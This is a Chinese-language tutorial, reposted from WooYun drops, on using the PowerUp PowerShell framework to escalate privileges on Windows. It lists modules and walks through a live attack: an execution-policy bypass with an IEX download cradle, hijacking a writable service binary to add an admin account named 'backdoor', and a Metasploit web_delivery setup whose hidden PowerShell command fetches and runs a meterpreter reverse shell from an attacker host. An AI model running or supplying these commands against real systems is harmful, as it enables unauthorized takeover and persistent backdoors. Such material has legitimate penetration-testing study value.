<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/tips/11989

                    0x00 簡介


                    通常,在Windows下面我們可以通過內核漏洞來提升權限,但是,我們常常會碰到所處服務器通過內核漏洞提權是行不通的,這個時候,我們就需要通過脆弱的Windows服務提權,比如我們替換掉服務所依賴的DLL文件,當服務重啟時,加載我們替換的DLL文件從而完成比如添加管理員賬號的操作。或者通過常見的Mssql,Mysql等服務,通過其繼承的系統權限來完成提權等等,而今天我將介紹一個非常實用的Powershell框架-Powerup,此框架可以在內核提權行不通的時候,幫助我們尋找服務器脆弱點進而通過脆弱點實現提權的目的。

                    0x01 使用


                    要使用Powerup,首先需要下載此腳本:Powerup,之后加載此腳本:

                    #!bash
                    E:> powershell.exe -nop -exec bypass
                    PS E:\> Import-Module .\PowerUp.psm1
                    

                    加載完成以后,便可以使用Powerup中的所有模塊了。

                    通過如下命令可以查看所有模塊:

                    #!bash
                    PS E:\> Get-Command -Module powerup
                    

                    Alt text

                    輸入可以通過tab鍵來自動補全,如果要查看各個模塊的詳細說明,可以使用"Get-help [cmdlet] -full"來查看,比如"Get-Help Find-DLLHijack -full", 如果要將輸出的結果導出到一個文件可以使用Out-File,如下:

                    #!bash
                    PS E:\> Invoke-AllChecks | Out-File -Encoding ASCII checks.txt
                    

                    上述命令使用了Invoke-AllChecks,腳本將會進行所有的檢查

                    在cmd環境下,可以使用下列方式來運行該腳本:

                    #!bash
                    E:\> powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}"
                    

                    如果你想在內存加載此腳本,可以用下列方式:

                    #!bash
                    E:\> powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://dwz.cn/2vkbfP'); Invoke-AllChecks"
                    

                    除此之外,Metasploit上同樣包含執行powershell腳本的模塊exec_powershell.rb,通過此模塊,可以通過msf會話來執行powershell。

                    0x02 模塊介紹


                    Find-DLLHijack

                    檢查每個進程所加載的模塊,返回已經加載且不在其可執行目錄的模塊的目錄。

                    執行方式:

                    #!bash
                    PS C:\> Find-DLLHijack #返回所有的dll路徑
                    PS C:\> Find-DLLHijack -ExcludeWindows -ExcludeProgramFiles #返回排除C:\Windows\*; C:\Program Files\*;C:\Program Files (x86)\*以外的dll路徑
                    PS C:\> Find-DLLHijack -ExcludeOwned #返回不屬于當前用戶所有進程權限的dll路徑
                    

                    Find-PathHijack

                    檢查當前%PATH%是否存在哪些目錄是當前用戶可以寫入的。

                    執行方式:

                    #!bash
                    PS C:\> Find-PathHijack
                    

                    Get-ApplicationHost

                    從系統上的applicationHost.config文件恢復加密過的應用池和虛擬目錄的密碼。

                    執行方式:

                    #!bash
                    PS C:\>get-ApplicationHost
                    PS C:\>get-ApplicationHost | Format-Table -Autosize # 列表顯示
                    

                    Get-ModifiableFile

                    檢查某個文件當前用戶是否擁有修改權限,并返回有權限的文件路徑。

                    執行方式:

                    #!bash
                    PS C:\> '"E:\temp\123123.xlsx" -f "C:\LibAntiPrtSc_ERROR.log"' | Get-ModifiableFile
                    

                    前面為文件路徑

                    Alt text

                    Get-RegAlwaysInstallElevated

                    檢查AlwaysInstallElevated注冊表項是否被設置,如果被設置,意味著的MSI文件是以system權限運行的。

                    執行方式:

                    #!bash
                    PS C:\> Get-RegAlwaysInstallElevated
                    

                    Get-RegAutoLogon

                    檢測Winlogin注冊表AutoAdminLogon項有沒有被設置,可查詢默認的用戶名和密碼。與msf windows_autologin.rb模塊相同。

                    執行方式:

                    #!bash
                    PS C:\> Get-RegAutoLogon
                    

                    Get-ServiceDetail

                    返回某服務的信息。

                    執行方式:

                    #!bash
                    PS C:\> Get-ServiceDetail -ServiceName Dhcp #獲取DHCP服務的詳細信息
                    

                    Alt text

                    Get-ServiceFilePermission

                    檢查當前用戶能夠在哪些服務的目錄寫入相關聯的可執行文件,通過這些文件可達到提權的目的。

                    執行方式:

                    #!bash
                    PS C:\> Get-ServiceFilePermission
                    

                    Alt text

                    Get-ServicePermission

                    檢查所有可用的服務,并嘗試對這些打開的服務進行修改,如果可修改,則返回該服務對象。

                    執行方式:

                    #!bash
                    PS C:\> Get-ServicePermission
                    

                    Get-ServiceUnquoted

                    檢查服務路徑,返回包含空格但是不帶引號的服務路徑,類似于msf的trusted_service_path.rb

                    此處利用的windows的一個邏輯漏洞,即當文件包含空格時,windows API會解釋為兩個路徑,并將這兩個文件同時執行,有些時候可能會造成權限的提升。

                    比如C:\program files\hello.exe,會被解釋為C:\program.exe以及C:\program files\hello.exe

                    執行方式:

                    #!bash
                    PS C:\>Get-ServiceUnquoted
                    

                    Alt text

                    Get-UnattendedInstallFile

                    檢查幾個路徑,查找是否存在這些文件,在這些文件里可能包含有部署憑據。這些文件包括:

                    執行方式:

                    #!bash
                    PS C:\> Get-UnattendedInstallFile
                    

                    Get-VulnAutoRun

                    檢查開機自啟的應用程序路徑和注冊表鍵值,返回當前用戶可修改的程序路徑。

                    注冊表檢查的鍵值為:

                    #!bash
                    HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
                    HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
                    HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
                    HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce
                    HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunService
                    HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceService
                    HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunService
                    HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceService
                    

                    執行方式:

                    #!bash
                    PS C:\> Get-VulnAutoRun
                    

                    Get-VulnSchTask

                    返回當前用戶能夠修改的計劃任務程序的名稱和路徑。

                    執行方式:

                    #!bash
                    PS C:\> Get-VulnSchTask
                    

                    Get-Webconfig

                    返回當前服務器上的web.config文件中的數據庫連接字符串的明文。

                    執行方式:

                    #!bash
                    PS C:\>get-webconfig  
                    PS C:\>get-webconfig | Format-Table -Autosize #列表顯示
                    

                    Invoke-AllChecks

                    執行所有的腳本來檢查。

                    執行方式:

                    #!bash
                    PS C:\> Invoke-AllChecks
                    

                    Alt text

                    Invoke-Service

                    執行方式為:

                    #!bash
                    PS C:\> Invoke-ServiceDisable -ServiceName 服務名稱。
                    

                    用來通過修改服務添加用戶到指定組,并可以通過定制-cmd參數觸發添加用戶的自定義命令。

                    執行方式:

                    #!bash
                    PS C:\> Invoke-ServiceAbuse -ServiceName VulnSVC # 添加默認賬號
                    PS C:\> Invoke-ServiceAbuse -ServiceName VulnSVC -UserName "TESTLAB\john" # 指定添加域賬號
                    PS C:\> Invoke-ServiceAbuse -ServiceName VulnSVC -UserName backdoor -Password password -LocalGroup "Administrators" # 指定添加用戶,用戶密碼以及添加的用戶組。
                    PS C:\> Invoke-ServiceAbuse -ServiceName VulnSVC -Command "net ..." # 自定義執行命令
                    

                    默認的賬號可以通過修改默認參數來修改,如下圖:

                    Alt text

                    Restore-ServiceBinary

                    恢復服務的可執行文件到原始目錄。

                    執行方式:

                    #!bash
                    PS C:\> Restore-ServiceBinary -ServiceName VulnSVC
                    

                    Test-ServiceDaclPermission

                    檢查某個用戶是否在一個服務有自由訪問控制的權限,返回true或false。

                    執行方式:

                    #!bash
                    PS C:\> Restore-ServiceBinary -ServiceName VulnSVC
                    

                    Write-HijackDll

                    輸出一個自定義命令并且能夠自刪除的bat文件到$env:Temp\debug.bat,并輸出一個能夠啟動這個bat文件的dll。

                    執行方式:

                    #!bash
                    PS C:\> Write-HijackDll -OutputFile 'E:\temp\test.dll' -Command 'whoami'
                    

                    Alt text

                    Write-UserAddMSI

                    生成一個安裝文件,運行這個安裝文件,則彈出添加用戶的框。

                    執行方式:

                    #!bash
                    PS C:\> Write-UserAddMSI
                    

                    Write-ServiceBinary

                    預編譯C#服務的可執行文件。默認創建一個默認管理員賬號。可通過Command定制自己的命令。

                    執行方式:

                    #!bash
                    PS C:\> Write-ServiceBinary -ServiceName VulnSVC # 添加默認賬號
                    PS C:\> Write-ServiceBinary -ServiceName VulnSVC -UserName "TESTLAB\john" # 指定添加域賬號
                    PS C:\> Write-ServiceBinary -ServiceName VulnSVC -UserName backdoor -Password Password123! # 指定添加用戶,用戶密碼以及添加的用戶組。
                    PS C:\> Write-ServiceBinary -ServiceName VulnSVC -Command "net ..." # 自定義執行命令
                    

                    Install-ServiceBinary

                    通過Write-ServiceBinary寫一個C#的服務用來添加用戶。

                    執行方式:

                    #!bash
                    PS C:\> Install-ServiceBinary -ServiceName DHCP
                    PS C:\> Install-ServiceBinary -ServiceName VulnSVC -UserName "TESTLAB\john"
                    PS C:\> Install-ServiceBinary -ServiceName VulnSVC -UserName backdoor -Password Password123!
                    PS C:\> Install-ServiceBinary -ServiceName VulnSVC -Command "net ..."
                    

                    Write-ServiceBinaryInstall-ServiceBinary不同的是前者生成可執行文件,后者直接安裝服務。

                    0x03 實戰提權


                    測試環境為win10。平常用的虛擬機,并沒有特意去配置存在漏洞的環境,所以并不是所有的模塊均可以使用。實際測試可以根據實際環境來調整。此次測試并未使用內核漏洞來提權。

                    首先添加低權限測試賬號,使用管理員身份運行cmd,添加測試賬號:

                    #!bash
                    C:\Windows\system32>net user powerup 1 /add
                    

                    查看powerup賬號權限:

                    Alt text

                    使用powerup賬號登陸系統,加載Powerup:

                    Alt text

                    執行Invoke-AllChecks:

                    #!bash
                    PS E:\> Invoke-AllChecks
                    

                    執行以后找到下列問題:

                    #!bash
                    [*] Checking for unquoted service paths...
                    
                    
                    ServiceName   : CDROM_Detect
                    Path          : C:\Program Files\4G USB Modem\4G_Eject.exe
                    StartName     : LocalSystem
                    AbuseFunction : Write-ServiceBinary -ServiceName 'CDROM_Detect' -Path <HijackPath>
                    
                    ServiceName   : hMailServer
                    Path          : C:\Program Files (x86)\hMailServer\Bin\hMailServer.exe RunAsService
                    StartName     : LocalSystem
                    AbuseFunction : Write-ServiceBinary -ServiceName 'hMailServer' -Path <HijackPath>
                    
                    [*] Checking service executable and argument permissions...
                    
                    ServiceName    : wampapache
                    Path           : "c:\wamp\bin\apache\apache2.2.17\bin\httpd.exe" -k runservice
                    ModifiableFile : c:\wamp\bin\apache\apache2.2.17\bin\httpd.exe
                    StartName      : LocalSystem
                    AbuseFunction  : Install-ServiceBinary -ServiceName 'wampapache'
                    
                    ServiceName    : wampmysqld
                    Path           : c:\wamp\bin\mysql\mysql5.5.8\bin\mysqld.exe wampmysqld
                    ModifiableFile : c:\wamp\bin\mysql\mysql5.5.8\bin\mysqld.exe
                    StartName      : LocalSystem
                    AbuseFunction  : Install-ServiceBinary -ServiceName 'wampmysqld'
                    

                    可以看出,Powerup列出了可能存在問題的服務,并在AbuseFunction中給了接下來的利用方式。在上面兩個利用點可以看出,unquoted service paths中給出了兩個路徑帶空格的文件路徑,但是因為其在c盤,沒有權限,所以并不能被我們利用來提權。而第二個檢查通過Get-ServiceFilePermission找到兩個當前用戶可以寫入相關聯可執行文件的路徑,我們就可以通過這個來進行提權。在AbuseFunction那里已經給了我們操作方式,接下來我們執行如下操作:

                    #!bash
                    PS E:\> Install-ServiceBinary -ServiceName 'wampapache' -UserName rockyou -Password 123
                    

                    Alt text

                    之后當管理員運行該服務的時候,則會添加我們的賬號,運行前:

                    Alt text

                    運行服務以后:

                    Alt text

                    查看該賬號權限:

                    Alt text

                    當然,除了添加賬號,我們同樣可使用msf獲得meterpreter會話。

                    使用web_delivery 模塊開啟監聽:

                    #!bash
                    msf > use exploit/multi/script/web_delivery 
                    msf exploit(web_delivery) > set URIPATH /
                    URIPATH => /
                    msf exploit(web_delivery) > set lport 8888
                    lport => 8888
                    msf exploit(web_delivery) > set target 2
                    target => 2
                    msf exploit(web_delivery) > set payload windows/meterpreter/reverse_tcp
                    payload => windows/meterpreter/reverse_tcp
                    msf exploit(web_delivery) > set SRVPORT 8080
                    SRVPORT => 8080
                    msf exploit(web_delivery) > set LHOST 192.168.74.1 
                    msf exploit(web_delivery) > exploit 
                    

                    執行如下命令:

                    #!bash
                    PS E:\> Install-ServiceBinary -ServiceName 'wampapache' -Command "powershell.exe -nop -w hidden -c `$m=new-object net.webclient;`$m.proxy=[Net.WebRequest]::GetSystemWebProxy();`$m.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX `$m.downloadstring('http://192.168.74.1:8080/');"
                    

                    要注意 $ 符號前面要加`來轉義

                    當管理員運行此服務以后則獲取高權限的meterpreter會話

                    Alt text

                    提權以后,使用Restore-ServiceBinary 恢復文件:

                    #!bash
                    PS E:\> Restore-ServiceBinary -ServiceName 'wampapache'
                    

                    Alt text

                    可以看到,我們使用powerup成功提權了。當然碰到實際的環境可以根據不同環境不同方式來進行提權。

                    0x05 小結


                    Powerup提供了一些我們并不常見的提權方式,并且為我們的Windows提權提供了極大的方便,如果碰到未安裝Powershell的計算機,可以詳細參考Powerup里面的函數實現過程來通過別的方式來實現同樣的效果,希望本文對你有幫助。

                    本文由evi1cg原創并首發于烏云drops,轉載請注明

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频